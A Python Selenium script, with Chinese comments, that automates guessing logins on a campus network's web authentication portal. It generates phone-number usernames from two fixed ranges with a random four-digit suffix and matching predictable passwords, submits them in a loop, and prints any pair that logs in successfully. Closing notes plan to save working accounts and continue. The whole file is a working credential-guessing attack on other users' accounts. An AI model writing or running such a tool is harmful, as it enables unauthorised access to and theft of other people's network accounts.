from contextlib import nullcontext

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as ec
from selenium.common.exceptions import TimeoutException, NoSuchElementException
import random
import time
# v 1.0.1

##################浏览器初始化##################

# 无法使用请安装chromedriver驱动程序
wd = webdriver.Edge() # 打开浏览器
wd.get("http://10.9.0.21") # 进入web认证界面1
print("加载中...")
print()
tf = input("选择号段（1或2）:")

while True:
    ##################随机生成账号密码##################
    ufirst1_num = 16643410000  # 校园网号段1
    ufirst2_num = 15567100000  # 校园网号段2
    pfirst1_num = 410000  # 密码前缀1
    pfirst2_num = 100000  # 密码前缀2
    rand_num = random.randint(0, 9999)  # 随机生成后四位

    if tf == 1:
     username_str = str(ufirst2_num + rand_num)  # 拼接电话号
     password_str = str(pfirst2_num + rand_num)  # 拼接密码
    else:
        username_str = str(ufirst1_num + rand_num)  # 拼接电话号
        password_str = str(pfirst1_num + rand_num)  # 拼接密码


    ##################定位填写提交表单##################

    # 通过CSS选择器定位登录表单元素

    # 账号元素定位
    username = wd.find_element(By.CSS_SELECTOR,
                               '#edit_body > div:nth-child(4) > div > div > div.mt_body > div:nth-child(1) > div > form > input:nth-child(4)')
    # 填写账号
    username.send_keys(username_str)
    # 密码元素定位
    password = wd.find_element(By.CSS_SELECTOR,
                               '#edit_body > div:nth-child(4) > div > div > div.mt_body > div:nth-child(1) > div > form > input:nth-child(5)')
    # 填写密码
    password.send_keys(password_str)
    # 登录按钮定位
    login = wd.find_element(By.CSS_SELECTOR,
                            '#edit_body > div:nth-child(4) > div > div > div.mt_body > div:nth-child(1) > div > form > input:nth-child(2)')
    # 登录点击动作
    login.click()

    print("登录账户：" + username_str)  # 控制台预览电话号

    ##################登录结果返回值##################

    get_str = None

    try:
        # 创建一个WebDriverWait实例，最多等待10秒
        wait = WebDriverWait(wd, 3)
        # 等待#message元素变得可见
        message_element = wait.until(
            ec.visibility_of_element_located((By.CSS_SELECTOR, '#message'))
        )
        # 获取#message元素的内容
        message_content = message_element.text

        print(f"登录结果: {message_content}")

        get_str = message_content


##################检测超时原因#########################

    # 抛出异常
    except TimeoutException:
        current_url = wd.current_url
        if "baidu" in current_url:
            print("登录密码："+password_str)
            print("登录成功")
            break
        print("等待消息元素时发生了超时。")
        break

    except NoSuchElementException:
        print("页面上未找到消息元素。")
        break

    except Exception as e:
        print(f"发生了一个意外错误: {e}")
        break



    ##################判断账户是否有效##################

    if "成功登录" in get_str:
        print("登陆成功")
        break

    if "不存在" in get_str or "停机" in get_str or "密码错误" in get_str:
        wd.refresh()
        print("账户错误，请重新登录")
        print()

    else:
        wd.refresh()
        print("网络连接异常，请重新连接")
        print()
        time.sleep(40)

wd.quit()
##################/未完成\##################
# 加一个计时器计数器
# 登录成功的保存
# 自动注销并继续